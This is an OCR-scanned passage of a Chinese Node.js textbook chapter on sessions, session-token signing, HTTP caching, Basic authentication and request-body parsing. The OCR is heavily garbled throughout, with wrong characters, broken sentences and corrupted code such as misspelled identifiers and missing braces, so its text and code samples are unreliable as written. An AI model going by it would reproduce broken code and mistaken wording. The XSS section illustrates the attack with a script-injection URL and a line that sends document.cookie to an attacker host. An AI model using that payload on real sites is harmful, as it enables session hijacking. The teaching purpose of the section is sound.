这 样 在 session 中 保存 的 数据 比 直 接 在 Cookie 中 保存 数据 要 安 
全 得 多 。 这 种 实现 方案 依赖 Cookie 实 现 ， 而 且 也 是 目前 大 多 
数 Web 应 用 的 方案 。 如 果 客 户 端 禁 止 使 用 Cookie， 这 个 世界 
上 大 多 数 的 网 站 将 无 法 实现 登录 等 操作 。 
人 
它 的 原理 是 检查 请 求 的 查询 字符 串 ， 如 果 没 有 值 ， 会 先生 成 
新 的 带 值 的 URL， 如 下 所 示 : 


var getURL = function (_uril, key, value) { 
var obj = url.parse(_url, true); 
obj.query[key] = Value 
return url.format(obj); 


了 


然后 形成 跳 转 ， 让 客户 端 重 新 发 起 请 求 ， 如 下 所 示 : 


function (req, res) { 
var redirect = function (url) { 
res.setHeader('Location’', url); 
res.writeHead(302); 
res.end(); 


了 


var id = req.query[key]; 
if (!id) { 
var session = generate(); 
redirect(getURL(req.url, key, session.1d)); 
else { 
var session = sessions[id]; 
if (session) { 
If (session.cookie.expire > (new Date()).getTime()) { 
// 更 新 超时 时 间 


session.cookie.expire = (new Date()).getTime() + EXPIRES; 


ww 


机 


redq.session = session,; 
handle(req, res); 
} else 
// 超时 了 ， 删 除 旧 的 数据 ， 并 重新 生成 
delete sessions[id]; 
Var session = generate(); 
redirect(getURL(req.url, key, session.1d)); 


} 

} else { 
// 如 果 session 过 期 或 口令 不 对 ， 重 新 生成 session 
var session = generate(); 
redirect(getURL(req.url, key, session.1id)); 

} 

} 
} 


用 户 访 问 http://localhost/pathname 时 ， 如 果 服 务 器 端 发 现 查 询 
字符 串 中 不 吾 session id 参数 承 会 将 用 户 跳 转 到 
http://localhost/pathname?session_id=12344567 这 样 一 个 类 似 的 
地 址 。 如 果 浏 览 器 收 到 302 状 态 码 和 Location 报 头 ， 残 会 重新 
发 起 新 的 请 求 ， 如 下 所 示 : 


< HTTP/1.1 302 Moved Temporarily 
< Location: /pathname?session_ id=12344567 


这 样 ， 新 的 请 求 到 来 时 束 能 通过 Session 的 检查 ， 除 非 内 存 中 
的 数据 过 期 。 


有 的 服务 器 在 客户 端 禁用 Cookie 时 ， 会 采用 这 种 方案 实现 退 
化 。 通 过 这 种 方案 ， 无 须 在 响应 时 设置 Cookie。 但 是 这 种 方 
案 带 来 的 风险 远大 于 基于 Cookie 实 现 的 风险 ， 因 为 只 要 将 地 
址 栏 中 的 地 址 发 给 另外 一 个 人 人， 那么 他 束 拥 有 跟 你 相同 的 号 
份 。Cookie 的 方案 在 换 了 浏 贤 器 或 者 换 了 电脑 之 后 无 法 生 
效 ， 相 对 较为 安全 。 
还 有 一 种 比较 有 趣 的 处 理 Session 的 方式 是 利用 HTTP 请 求 头 
中 的 ETag， 同 样 对 于 更 换 浏 贤 絮 和 电脑 后 也 是 无 效 的 ， 具 体 
0 感 兴趣 的 朋友 可 以 到 网 上 查阅 相关 
Session 与 内 存 


在 上 面 的 示例 代码 中 ， 我 们 都 将 Session 数 据 直接 存在 变 
et 它 位 于 内 存 中 。 然而 在 第 5 划 的 内 存 控制 部 
我 们 分 析 了 为 什么 Node 会 存在 内 存 限制 ， 这 里 将 数 
提存 放 在 内 在 直 和 会 市 来 极 大 的 隐 患 ， 如 采用 户 增多 
我 们 很 可 能 束 接 触 到 了 内 存 限制 的 上 限 ， 并 且 内 存 中 的 


数据 量 加 大 ， 必 然 会 引起 垃圾 回收 的 频繁 扫描 ，3 引 起 性 
能 问题 。 
另 一 个 问题 则 是 我 们 可 能 为 了 利用 多 核 CPU 而 局 动 多 个 
进程 ， 这 个 细 记 在 第 9 章 中 有 详细 摘 述 。 用 户 请 求 的 连接 
将 可 能 随意 分 配 到 各 个 进程 中 ， Node 的 进程 与 进程 之 间 
Te 内 存 的 ， 用 户 的 Session 可 能 会 引起 错 
为 了 解决 性 能 问题 和 Session 数 据 无 法 跨 进程 共享 的 问 
题 ， 常 用 的 方案 是 将 Session 集 中 化 ， 将 原本 可 能 分 散在 
多 个 进程 里 的 数据 ， 统 一 转移 到 集中 的 数据 存储 中 。 目 
前 第 用 的 工具 是 Redis、Memcached 等 ， 通 过 这 些 高 效 的 
缓存 ，Node 进 程 无 须 在 内 部 维护 数据 对 和 象 ， 垃圾 回收 问 
题 和 内 存 限 制 问 题 都 可 以 迎刃而解 ， 并 且 这 些 高 速 绥 存 
设计 的 缓存 过 期 策略 更 合理 更 高 效 ， 比 在 Node 中 目 行 设 
计 缓 存 策 略 更 好 。 
采用 第 三 方 缓存 来 存储 Session 引 起 的 一 个 问题 是 会 引起 
网 络 访问 。 理 论 上 来 说 访问 网 络 中 的 数据 要 比 访问 本 地 
磁盘 中 的 数据 速度 要 慢 ， 因 为 涉及 到 握手 、 传 输 以 及 网 
络 终端 目 身 的 磁盘 IO 等 ， 尽 管 如 此 但 依然 会 采用 这 些 高 
速 缓存 的 理由 有 以 下 几 条 : 

Node 与 缓存 服 务 保持 长 连接， 而 非 频 繁 的 短 连接 ， 

握手 导致 的 延迟 只 影响 初始 化 。 

高 速 缓存 直接 在 内 存 中 进行 数据 存储 和 访问 。 

绥 存 服务 通常 与 Node 进 程 运行 在 相同 的 机 器 上 或 者 

相同 的 机 房 里 ， 网 络 速度 受到 的 影响 较 小 。 
尽管 采用 专门 的 缓存 服务 会 比 直 接 在 内 存 中 访问 慢 ， 但 
其 影响 小 之 又 小 ， 市 来 的 好 处 却 远 远 大 于 直接 在 Node 中 
保存 数据 。 
为 此 ， 一 旦 Session 需 要 异步 的 方式 获取 ， 代 码 就 需要 上 略 
作 调 整 ， 变 成 异步 的 方式 ， 如 下 所 示 : 
a 


if (!id) { 
redq.session = generate(); 


handle(req, res); 
} else { 
store.get(id, function (err, session) { 


if (session) { 
If (session.cookie.expire > (new Date()).getTime()) { 
// 更 新 超时 时 间 
session.cookie.expire = (new Date()).getTime() + EXPIRES; 
redq.session = session,; 
else 
// 超时 了 ， 删 除 旧 的 数据 ， 并 重新 生成 
delete sessions[id]; 
redq.session = generate(); 


ww 


} 

} else { 
// 如 果 session 过 期 或 口令 不 对 ， 重 新 生成 session 
redq.session = generate(); 


handle(req, res); 


} 


在 啊 应 时 ， 将 新 的 session 保 存 回 缓存 中 ， 如 下 所 示 : 


var writeHead = res.writeHead; 
res.writeHead = function () { 

Var cookies = res.getHeader('Set-Cookie'); 

var session = serialize('Set-Cookie', req.session.id); 

cookies = Array.isArray(cookies) ? cookies.concat(session) : [cook 
ies, session]; 

res.setHeader('Set-Cookie', cookies); 

// 保存 回 缓存 

store.save(req.session); 

return writeHead.apply(this, arguments); 


}; 
Session 与 安全 
从 前 文 可 以 知道 ， 尽 管 我 们 的 数据 都 放置 在 后 端 了 7， 使 


得 它 能 保障 安全 ， 但 是 无 论 通 过 Cookie， 还 是 查询 字符 
串 的 实现 方式 ，Session 的 口令 依然 保存 在 客户 端 ， 这 里 
会 存在 口令 被 资 用 的 情况 。 如 果 Web 应 用 的 用 户 十 分 
多 ， 自行 设计 的 随机 算法 的 一 些 口 令 值 就 有 理论 机 会 命 
中 有 效 的 口令 值 。 一 旦 口令 被 仿造 ， 服 务 絮 端的 数据 也 
可 能 间接 被 利用 。 这 里 提 到 的 Session 的 安全 ， 就 主要 指 
如 何 让 这 个 口令 更 加 安全 。 

有 一 种 做 法 是 将 这 个 口 进行 签名 ， 使 得 
伪造 的 成 本 较 高 。 客户 站 管 可 以 伪造 口令 值 ， 但 是 由 
于 不 知道 私 钥 值 ， 2 如 此 ;我 们 只 

在 响应 时 将 口令 和 签 名 进行 对 比 ， 如 果 签 名 非法 ， 我 们 
将 服务 器 端的 数据 立即 过 期 即 可 ， 如 下 所 示 : 


// 将 值 通过 私 钥 签 名 ， 由 .分割 原 值 和 签名 
var sign = function (val, secret) { 
return val + '.' + crypto 


.CcreateHmac('sha256', secret) 
‘Update(val) 
digest('base64') 
.replace(/\=+$/, ''); 

}; 


在 啊 应 时 ， 设置 session 值 到 Cookie 中 或 者 跳 转 URL 中 如 
a 


var val = sign(req.sessionID, secret); 
res.setHeader('Set-Cookie', cookie,.serialize(key, val)); 


接收 请 求 时 ， 检 查 签 名 ， 如 下 所 示 : 


// 取出 口令 部 分 进行 签名 ， 对 比 用 户 提交 的 值 

var unsign = function (val, secret) { 
var str = val.slice(0, val.lastIindexof('.')); 
return sign(str, secret) == val ? Str : false; 


这 样 一 来 ， 即 使 攻击 者 知道 口令 中 .号 前 的 值 是 服务 器 端 
Session 的 ID 值 ， 只 要 不 知道 secret 私 钥 的 值 ， 就 无 法 伪造 
签名 信息 ， 以 此 实现 对 Session 的 保护 。 该 方法 被 Connect 
中 间 件 框架 所 使 用 ， 保 护 好 私 铀 ， 束 是 在 保障 目 己 Web 
应 用 的 安全 。 
当然 ， 将 口令 进行 签名 是 一 个 很 好 的 解决 方案 ， 但 是 如 
果 攻 击 者 通过 某 种 方式 获取 了 一 个 真实 的 口令 和 签名 ， 
他 就 能 实现 号 份 的 伪装 。 一 种 方案 是 将 客户 端的 某 些 独 
有 信息 与 口令 作为 原 值 ， 然 后 签名 ， 这 样 攻击 者 一 旦 不 
在 原始 的 客户 端 上 进行 访问 ， 就 会 导致 签名 失败 。 这 些 
独 有 信息 包括 用 户 IP 和 用 户 代 理 (User Agent) 。 
但 是 原始 用 户 与 攻击 者 之 间 也 存在 上 述 信息 相同 的 可 能 
性 ， 如 局 域 网 出 口 P 相 同 ， 相 同 的 客户 端 信息 等 ， 不 过 
纳入 这 些 考 虑 能 够 提高 安全 性 。 通 第 而 言 ， 将 口令 存在 
Cookie 中 不 容易 被 他 人 获取 ， 但 是 一 些 别 的 漏洞 可 能 导 
致 这 个 口令 被 泄漏 ， 典 型 的 有 XSS 漏 洞 ， 下 面 人 窗 单 介绍 
一 下 如 何 通过 XSS 拿 到 用 户 的 口令 ， 实 现 伪造 。 

XSS 漏 洞 

XSS 的 全 称 是 跨 站 脚本 攻击 (Cross Site Scripting ， 通常 简称 

为 XSS) ， 通 常 都 是 由 网 站 开发 者 决定 哪些 脚本 可 以 执行 在 

浏览 姻 端 ， 不 过 XSS 漏 洞 会 让 别 的 脚本 执行 。 它 的 主要 形成 

原因 多 数 是 用 户 的 输入 没有 人 被 转 义 ， 而 被 直接 执行 。 


下 面 是 某 个 网 站 的 前 端 脚 本 ， 它 会 将 URL hash 中 的 值 设置 到 
页 面 中 ， 以 实现 某 种 逻辑 ， 如 下 所 示 : 


$('#box').html(location.hash.replace('#', '')); 


攻击 者 在 发 现 这 里 的 漏洞 后 ， 构 造 了 这 样 的 URL: 


http://a.com/pathname#<script src="http://b.com/c.js"></script> 


为 了 不 让 受害 者 直接 发 现 这 段 URL 中 的 独 肛 ， 它 可 能 会 通过 
URL 压 缩 成 一 个 短 网 址 ， 如 下 所 示 : 
http://t.cn/fasd1fj 


// 或 者 再 次 压缩 
http://url.cn/fasdlfb 


然后 将 最 终 的 短 网 址 发 给 某 个 登录 的 在 线 用 户 。 这 样 一 来 ， 
这 上段 hash 中 的 脚本 将 会 在 这 个 用 户 的 浏 贤 右 中 执行 ， 而 这 段 
脚本 中 的 内 容 如 下 所 示 : 


location.href = "http://c.com/?" + document.cookie; 


这 上段 代码 将 该 用 户 的 Cookie 提 交 给 了 c.com 站 点 ， 这 个 站 点 就 
是 攻击 者 的 服务 器 ， 他 也 就 能 拿 到 该 用 户 的 Session 口 令 。 然 
后 他 在 客户 端 中 用 这 个 口令 伪造 Cookie， 从 而 实现 了 伪 闭 用 
让 的 身份 。 如 果 该 用 户 是 网 站 管理 员 ， 就 可 能 造成 极 大 的 危 


XSS 造 成 的 危害 远 远 不 止 这 些 ， 这 里 不 再 过 多 介绍 。 在 这 个 
案例 中 ， 如 果 口 令 中 有 用 户 的 客户 端 信息 的 签名 ， 即 使 口令 
让 污 漏 ， 除 非 攻击 者 与 用 户 客户 端 完全 相同 ， 否 则 不 能 实现 
JJ 。 


8.1.6 ”缓存 

我 们 知道 软件 的 架构 经 历 过 一 次 C/S 模 式 到 B/S 模式 的 演变 ， 在 HTTP 之 
上 构建 的 应 用 ， 其 客户 端 除了 比 普通 桌面 应 用 具备 更 轻 量 的 升级 和 部 
署 等 特性 外 ， 在 跨 平 台 、 路 浏 虎 右 、 路 设备 上 也 具备 独特 优势 。 传 统 
客户 端 在 安装 后 的 应 用 过 程 中 仅仅 需要 传输 数据 ，Web 应 用 还 需要 传 
输 构 成 界面 的 组 件 (HTML、JavaScript、CSS 文 件 等 。 这 部 分 内 容 
在 大 多 数 场 景 下 并 不 经 党 变更 ， 却 需要 在 每 次 的 应 用 中 辐 客 户 端 传 
递 ， 如 果 不 进行 处 理 ， 那 么 它 将 造成 不 必要 的 带宽 浪费 。 如 果 网 络 速 
度 较 差 ， 就 需要 花 费 更 多 时 间 来 打开 页 面 ， 对 于 用 户 的 体验 将 会 造成 
> 。 因 此 节省 不 必要 的 传输 ， 对 用 户 和 对 服务 提供 者 来 说 都 有 


为 了 提高 性 能 ，YSlow 中 也 提 到 几 条 关于 缓存 的 规则 。 


。 添加 Expires 或 Cache-Control 到 报 文 头 中 。 
. 配置 ETags。 
。 让 Ajax 可 缓存。 


这 里 我 们 将 展开 这 几 条 规则 的 来 源 。 如 何 让 浏览 器 缓 存 我 们 的 静态 将 
源 ， 这 也 是 一 个 需要 由 服务 器 与 浏览 吉 共 同 协作 完成 的 事情 。RFC 
2616 规 范 对 此 有 一 定 的 描述 ， 只 有 遵循 约定 ， 整 个 缓存 机 制 才能 有 效 
建 并 。 通 第 来 说 ，posT、oELEeTE、PuT 这 类 市 行为 性 的 请 求 操作 一 般 不 做 
任何 缓 在， 大 多 数 缓存 只 应 用 在 er 请求 中 。 使 用 缓存 的 流程 如 图 8-1 所 
坟 5 


图 8-1 使 用 缓存 的 流程 示意 图 
简单 来 讲 ， 本 地 没有 文件 时 ， 浏 览 右 必然 会 请 求 服务 而 端的 内 容 ， 并 


将 这 部 分 内 容 放 置 在 本 地 的 某 个 缓存 目录 中 。 在 第 二 次 请 求 时 ， 它 将 
对 本 地 文件 进行 检查 ， 如 采 不 能 确定 这 份 本 地 文件 是 否 可 以 直接 使 


用 ， 它 将 会 发 起 一 次 条 件 请 求 。 所 谓 条 件 请 求 ， 束 是 在 普通 的 set 请求 
报 文 中 ， 附 带 rf-wodified-since 字 段 ， 如 下 所 示 : 


If-Modified-Since: Sun，03 Feb 2013 06:01:12 GMT 


它 将 询问 服务 占 端 是 否 有 更 新 的 版 本 ， 本 地 文件 的 最 后 修改 时 间 。 如 
果 服务 句 端 没有 新 的 版 本 ， 只 需 啊 应 一 个 304 状 态 码 ， 客 户 端 束 使 用 本 
地 版 本 。 如 果 服 务 规 端 有 痢 的 版 本 ， 驶 将 新 的 内 容 发 送 给 客户 站， 客 
尸 端 放弃 本 地 版 本 。 代 码 如 下 所 示 : 


var handle = function (req, res) { 
fs.stat(filename, function (err, stat) { 
var lastModified = stat.mtime.toUTCString(); 


if (lastModified === req.headers['if-modified-since']) { 
res.writeHead(304, "Not Modified"); 
res.end(); 

} else { 


fs.readFile(filename, function(err, file) { 
var lastModified = stat.mtime.toUTCString(); 
res.setHeader("Last-Modified", lastModified); 
res.writeHead(200, "Ok"); 
res.end(file); 


}); 
} 


}); 
了 


ee 但 是 时 间 崔 有 一 些 缺陷 存 
市: O 


。 文件 的 时 间 戳 改动 但 内 容 并 不 一 定 改动 。 
。 “时间 蕉 只 能 精确 到 秒 级 别 ， 更 新 频繁 的 内 容 将 无 法 生效 。 


为 此 HTTP1.1 中 引入 了 ETag 来 解决 这 个 问题 。ETag 的 全 称 是 Entity 
Tag， 由 服务 需 端 生成 ， 服 务 如 端 可 以 决定 它 的 生成 规则 。 如 有 果 根 据 文 
件 内 容 生成 散 列 值 ， 那 么 条 件 请 求 将 不 会 受到 时 间 惟 改动 造成 的 让 宽 
浪费 。 下 面 是 根据 内 容 生 成 散 列 值 的 方法 : 


var getHash = function (str) { 
var Shasum = crypto.createHash('sha1'); 
return shasum.update(str).digest('base64'); 


与 If-Modified-Since/Last-Modified 不 同 的 是 ) ETag 的 请 求 和 啊 应 是 If-None- 
Match/ETag, 如 下 所 示 : 


var handle = function (req, res) { 
fs.readFile(filename, function(err, file) { 
var hash = getHash(file)， 
var noneMatch = req.headers['if-none-match']; 


if (hash === noneMatch) { 
res.writeHead(304, "Not Modified"); 
res.end(); 

} else { 
res.setHeader("ETag", hasnh); 
res.writeHead(200, "Ok"); 
res.end(file); 


} 
}); 
}; 
浏 唤 絮 在 收 到 Erag: "83-1359871272690" 这 样 的 啊 应 后 ， 在 下 次 的 请 求 中 ， 
全 将 其 放置 在 请 求 头 中 : If-None-Match:"83-1359871272000" ° 


尽管 条 件 请 求 可 以 在 文件 内 容 没 有 修改 的 情况 下 节省 带宽 ， 但 是 它 依 
然 会 发 起 一 个 HTTP 请 求 ， 使 得 客户 端 依然 会 化 一 定时 间 来 等 待 啊 应 。 
可 见 最 好 的 方案 就 是 连 条 件 请 求 都 不 用 发 起 。 那 么 如 何 让 浏览 絮 知 晓 
是 否 能 直接 使 用 本 地 版 本 呢 ? 答案 就 是 服务 器 端 在 啊 应 内 容 时 ， 让 浏 
蜗 器 明确 地 将 内 容 缓 存 起 来 。 如 同 YSlow 规 则 里 提 到 的 ， 在 响应 里 设 
置 Expires 或 cache-control 头 ， 浏 蜗 絮 将 根据 该 值 进 行 绥 存 那么 这 两 个 值 
有 何 区 别 呢 ? 

HTTP1.0 时 ， 在 服务 器 端 设 置 Expires 可 以 告知 浏览 器 要 缓存 文件 内 容 ， 
如 下 代码 所 示 : 


var handle = function (req, res) { 
fs.readFile(filename, function(err, file) { 
Var expires = new Date(); 
expires.setTime(expires.getTime() + 10 * 365 * 24 * 60 * 60 * 1000); 


res.setHeader("Expires", expires.toUTCString()); 
res.writeHead(200, "Ok"); 
res.end(file); 

}); 

}; 


Expires 是 一 个 GMT 格 式 的 时 间 字 符 串 。 浏 览 器 在 接 到 这 个 过 期 值 后 ， 
只 要 本 地 还 存在 这 个 缓存 文件 ， 在 到 期 时 间 之 前 它 都 不 会 再 发 起 请 
求 。YUI3 的 CDN 实 践 是 缓存 文件 在 10 年 后 过 期 。 但 是 Expires 的 缺陷 在 
于 浏览 器 与 服务 器 之 间 的 时 间 可 能 不 一 致 ， 这 可 能 会 带 来 一 些 问题 ， 
比如 文件 提前 过 期 ， 或 者 到 期 后 并 没有 被 删除 。 在 这 种 情况 下 ，cache- 
control 以 更 丰富 的 形式 ， 实 现 相 同 的 功能 ， 如 下 所 示 : 


var handle = function (req, res) { 
fs.readFile(filename, function(err, file) { 
res.setHeader("Cache-Control", "max- 
age=" + 10 * 365 * 24 * 60 * 60 * 1000); 
res.writeHead(200, "Ok"); 
res.end(file); 


了 


上 面 的 代 人 码 为 cache- control 设 置 了 max- eae 值 ， 区 比 Expires 优 秀 的 地 方 在 
二 Cache- ceo 月 蝎 避免 六 宽 右 端 与 服务 器 端 时 间 不 同步 带 来 的 不 一 
致 性 问题 ， 只 要 进行 类 似 倒计时 的 方式 计算 过 期 时 间 即 可 。 除 此 之 
外 ， aasscamero 的 值 还 能 设置 mm 、 private 、 no-cache 、 nosstore 等 能 够 更 
精细 地 控制 缓存 的 选项 。 

由 于 在 HTTP1.0 时 还 不 支持 max-age， 如 今 的 服务 器 端 在 模块 的 支持 下 多 
半 同 时 对 Expires 和 cache-control 进 行 支持 在 浏览 器 中 如 果 两 个 值 同时 存 
在 ， 且 被 同时 支持 时 ， max-age 会 窗 访 Expires ® 


。 清除 缓存 
eh 以 达到 节省 网 络 市 宽 的 目 
的 ， 但 是 缓存 一 旦 设 定 ， 当 服务 硕 端 意外 更 新 内 容 时 ， 却 无 
法 通知 客户 站 新。 这 使 得 我 们 在 使 用 缓存 时 也 要 为 其 设 定 
版 本 号 ， 所 幸 浏 览 器 是 根据 URL 进 行 缓存 ， 那 么 一 旦 内 容 有 
所 更 新 时 ， 我 们 殊 让 浏览 器 发 起 新 的 URL 请 求 ， 使 得 新 内 容 
能 够 税 客 户 端 更 新 。 一 般 的 更 新 机 制 有 如 下 两 种 。 


o 每 次 发 布 ， 路 径 中 跟随 Web 应 用 的 版 本 号 : 
ee 20130501° 

o 每 次 发 布 ， 路 径 中 跟随 该 文件 内 容 的 hash 值 : 
http:/urlcomy/?hash=afadfadwe 。 


大 体 来 说 ， 根 据 文件 内 容 的 hash 值 进行 缓存 淘汰 会 更 加 高 
效 ， 因 为 文件 内 容 不 一 定 随 着 Web 应 用 的 版 本 而 更 新 ， 而 内 
容 没有 更 新 时 ， 版 本 号 的 改动 导致 的 更 新 受 无 意义 ， 因 此 以 
文件 内 容 形 成 的 hash 值 更 精准 。 


8.1.7 ”Basic 认 证 

Basic 认 证 是 当 0 册 进 行 请 求 时 ， 人 允许 通过 用 户 名 和 密码 
实现 的 一 种 身份 认证 方式 。 这 里 简要 介绍 它 的 原理 和 它 在 服务 硕 端 通 
过 Node 处 理 的 流程 。 

如 果 一 个 页 面 需 要 Basic 认 证 ， 它 会 难 查 请 求 报 文 头 中 的 Authorization 字 
段 的 内 容 ， 该 字段 的 值 由 认证 方式 和 加 密 值 构成 ， 如 下 所 示 : 


$ curl -v "http://user:passQ@www.baidu.com/" 
> GET / HTTP/1.1 
> Authorization: Basic dXNlcjpwYXNz 
User-Agent: curl/7.24.0 (x86_64-apple- 
da 0) libcurl/7.24.0 OpenSssL/0.9.8r zl1ib/1.2.5 


> Host: www.baidu.com 
> Accept: */* 


在 Basic 认 证 中 ， 它 会 将 用 户 和 密码 部 分 J 组 合 username + ":" + password ° 
然后 进行 Base64 编 码 ， 如 下 所 示 : 


var encode = function (username, password) { 
return new Buffer(username + ':' + password).toString( "base64 ' ) ， 


}; 


如 果 用 户 首次 访问 该 网 页 ，URL 地 址 中 也 没 携带 认证 内 容 ， 那 么 浏览 
妖 会 啊 应 一 个 401 未 授权 的 状态 码 ， 如 下 所 示 : 


function (req, res) { 
var auth = req.headers['authorization'] || ''; 
var parts = auth.split(' '); 
var method = parts[0] || ''; // Basic 
var encoded = parts[1] || ''; // dXNlcjpwYXNz 
var decoded = new Buffer(encoded, 'base64').toSstring('utf-8').split(":"); 
var user = decoded[0]; // user 
var pass = decoded[1]; // pass 
if (!checkUser(user, pass)) { 
res.setHeader('WW-Authenticate', 'Basic realm="Secure Area"'); 
res.writeHead(401); 
res.end(); 
} else { 
handle(req, res); 
3 
} 


在 上 面 的 代码 中 ， 啊 应 头 中 的 ww-authenticate 字 段 告知 浏览 絮 玉 米 用 什么 
样 的 认证 和 加 冤 方 式 。 一 般 而 言 ， 未 认证 的 情况 下 ， 浏 览 嚣 会 弹出 对 
话 框 进行 交互 式 提交 认证 信息 ， 如 图 8-2 所 示 。 


服务 器 127.0.0.1:1337 要 求 用 户 输入 用 户 名 和 密码 。 服 务 
器 提示 : Secure Area。 


| 


密码 : 


图 8-2 ”浏览 器 弹出 的 交互 式 提交 认证 信息 的 对 话 框 

当 认 证 通过 ， 服 务 器 端 啊 应 200 状 态 码 之 后 ， 浏 览 峰 会 保存 用 户 名 和 密 

人 码 口令 ， 在 后 续 的 请 求 中 都 携带 上 Autnorization 信 息 。 

| 但 
这 近乎 于 明文 ， 十 分 和 危险， 一般 只 有 在 HITPS 的 情况 下 才 会 使 用 。 


不 过 Basic 认 证 的 文 持 范围 十 分 广泛 ， 几 乎 所 有 的 浏览 硕 都 文 持 它 。 
为 了 改进 Basic 认 证 ，RFC 2069 规 范 提 出 了 摘要 访 问 认 证 ， 它 加 入 了 服 
务 絮 并 随机 数 来 保护 认证 过 程 ， 在 此 不 做 深入 的 解释 。 


8.2 ”数据 上 传 

上 壕 的 内 容 基 本 都 集中 在 HTTP 请 求 报 文 头 中 ， 适 用 于 er 请 求 和 大 多 
数 其 他 请 求 。 头 部 报 文 中 的 内 容 已 经 能 够 让 服务 器 端 进行 大 多 数 业务 
逻辑 操作 了 ， 但 是 单纯 的 头 部 报 文 无 法 携带 大 量 的 数据 ， 在 业务 中 ， 
人 
XML 等 


Node 的 nttp 模 块 只 对 HTTP 报 文 的 头 部 进行 了 解析 ， 然 后 触发 request 事 
件 。 如 果 请 求 中 还 带 有 内 容 部 分 〈 如 posr 请 求 ， 它 具有 报头 和 内 容 ) ， 
内 容 部 分 需要 用 户 和 目 行 接收 和 解析 由 通过 报头 的 rransfer-Encoding 或 
content-Length 即 可 判断 请 求 中 是 否 带 有 内 容 ， 如 下 所 示 : 


var hasBody = function(req) { 
return 'transfer-encoding' in req.headers || 'content-length' in req.headers; 


类 


在 HTTP_Parser 解 析 报 头 结 束 后 ， 报 文 内 容 部 分 会 通过 gata 事 件 触 发 ， 
我 们 只 需 以 流 的 方式 处 理 即 可 ， 如 下 所 示 : 


function (req, res) { 
if (hasBody(req)) { 
var buffers = []; 
req.on('data', function (chunk) { 
buffers.push(chunk); 
}); 
req.on('end', function () { 
redq.rawBody = Buffer.concat(buffers).toString(); 
handle(req, res); 
}); 
} else { 
handle(req, res); 


} 


将 接收 到 的 Buffer 列 表 转 化 为 一 个 Buffer 对 象 后 ， 再 转换 为 没有 乱码 的 
字符 串 ， 暂时 挂 置 在 "eq.ranwgody 处 后 


8.2.1 表单 数据 
最 为 第 见 的 数据 提交 束 是 通过 网 页 表单 提交 数据 到 服务 右 端 ， 如 下 所 
ES 


<form action="/upload" method="post"> 
<label for="username">Username: 
</label> <input type="text" name="Uusername" id="username" /> 
<br /> 
<input type="submit" name="submit" value="Submit" /> 
</form> 


黑人 的 表单 提交 5 请 求 头 中 的 Gomesneenye 上 眉 值 汶 application/x-www-form- 
urlencoded, 如 下 所 示 : 


Content-Type: application/x-www-form-urlencoded 


由 于 它 的 报 文体 内 容 跟 查询 子 符 串 相 同 : 


foo=bar&baz=val 


因此 解析 它 十 分 容易 : 


var handle = function (req, res) { 
if (req.headers['content-type'] === 'application/x-www-form-urlencoded') { 
req.body = querystring.parse(req.rawBody); 


todo(req, res); 


后 续 业 务 中 直接 访问 req.booy 束 可 以 得 到 表单 中 提交 的 数据 。 


8.2.2 ”其 他 格式 


除了 表单 数据 外 ， 常 见 的 提交 还 有 JSON 和 XML 文 件 等 ， 判 断 和 解析 
他 们 的 原理 都 比较 相似 ， 都 是 依据 content-rype 中 的 值 决定 ， 其 中 JSON 
类 型 的 值 为 mgs 义 MILH 的 值 为 Wontar 3 


需要 注意 的 是 ， 在 content-rype 中 可 能 还 附带 如 下 所 示 的 编码 信息 : 


Content -Type: application/json; charset=utf-8 


所 以 在 做 判断 时 ， 需 要 注意 区 分 ， 如 下 所 示 : 


var mime = function (req) { 
var str = req.headers['content-type'] || ''; 
return str.split(';"')[0]; 


1. JSON 文 件 
如 果 从 客户 端 提 交 JSON 内 容 ， 这 对 于 Node 来 说 ， 要 处 理 它 
都 不 需要 额外 的 任何 库 ， 如 下 所 示 : 


var handle = function (req, res) { 
If (mime(req) === 'application/json') { 

try { 
req.body = JSON.parse(req.rawBody); 

} catch (e) { 
// 异常 内 容 ， 响 应 Bad request 
res.writeHead(400); 
res.end('Invalid JSON'); 
return; 


todo(req, res); 


了 


2. XML 文件 


解析 XML 文件 稍微 复杂 一 点 ， 但 是 社区 有 文 持 XML 文件 到 
JSON 对 象 转换 的 库 ， 这 里 以 xmazjs 模 块 为 例 ， 如 下 所 示 : 


var xml2js = require('xm]l2js'); 


var handle = function (req, res) { 


If (mime(req) === 'application/xml') { 
xml2js.parseString(req.rawBody, function (err, xml) { 
if (err) { 


// 异常 内 容 ， 响 应 Bad request 
res.writeHead(400); 
res.end('Invalid XML'); 
return; 


} 
req.body = xml; 
todo(req, res); 


}); 
} 
小 


采用 类 似 的 方式 ， 无 论 客 户 端 提交 的 数据 是 什么 格式 ， 我 们 
都 可 以 通过 这 种 方式 来 判断 该 数据 是 何 种 类 型 ， 然 后 采用 对 
应 的 解析 方法 解析 即 可 。 


8.2.3 ”附件 上 传 

除了 常见 的 表单 和 特殊 格式 的 内 容 提 交 外 ， 还 有 一 种 比较 独特 的 表 
单 。 通 常 的 表单 ， 其 内 容 可 以 通过 uriencoded 的 方式 编码 内 容 形 成 报 文 
体 ， 再 发 送 给 服务 器 端 ， 但 是 业务 场景 往往 需要 用 户 直 接 提 交 文 件 。 
在 前 端 HIML 代 码 中 ， 特 殊 表 单 与 普通 表单 的 差异 在 于 该 表单 中 可 以 
下 
data， 旨 全 \: 


<form action="/upload" method="post" enctype="multipart/form-data"> 


<label for="username">Username: 
</label> <input type="text" name="Uusername" id="username" /> 
<label for="file">Filename: 
</label> <input type="file" name="file" id="file" /> 
<br /> 
<input type="submit" name="submit" value="Submit" /> 
</form> 


浏 时 如 在 遇 到 mitipart/form-data 表 单 提 区 时 ， 构造 的 请 求 报 文 与 普通 表 
单 完 全 不 同 。 惠 先 它 的 报头 中 最 为 特殊 的 如 下 所 示 : 


Content -Type: multipart/form-data; boundary=AaBO3X 
Content-Length: 18231 


它 代 表 本 次 提交 的 内 容 是 由 多 部 分 构成 的 ， 其 中 boundary=Aageax 指 定 的 是 
每 部 分 内 容 的 分 界 符 ，Aageax 是 随机 生成 的 一 段 字 符 串 ， 报 文体 的 内 容 
将 通过 在 它 前 面 添加 .进行 分 唱 ， 报 文 结束 时 在 它 前 后 都 加 上 -- 表 示 结 
束 另外 ， content-Length 的 值 必须 确保 是 报 文 体 的 长 度 Q 

假设 上 面 的 表单 选择 了 一 个 名 为 diveintonode.js 的 文件 ， 并 进行 提交 上 
传 ， 那么 生成 的 报 文 如 下 所 示 : 


--AaBO3x\r\n 
Content-Disposition: form-data; name="username"\r\n 
\r\n 
Jackson Tian\r\n 
--AaBO3x\r\n 
Content-Disposition: form-data; name="file"; filename="diveintonode.js"\r\n 
Content-Type: application/javascript\r\n 
\r\n 
. Contents of diveintonode.js ... 
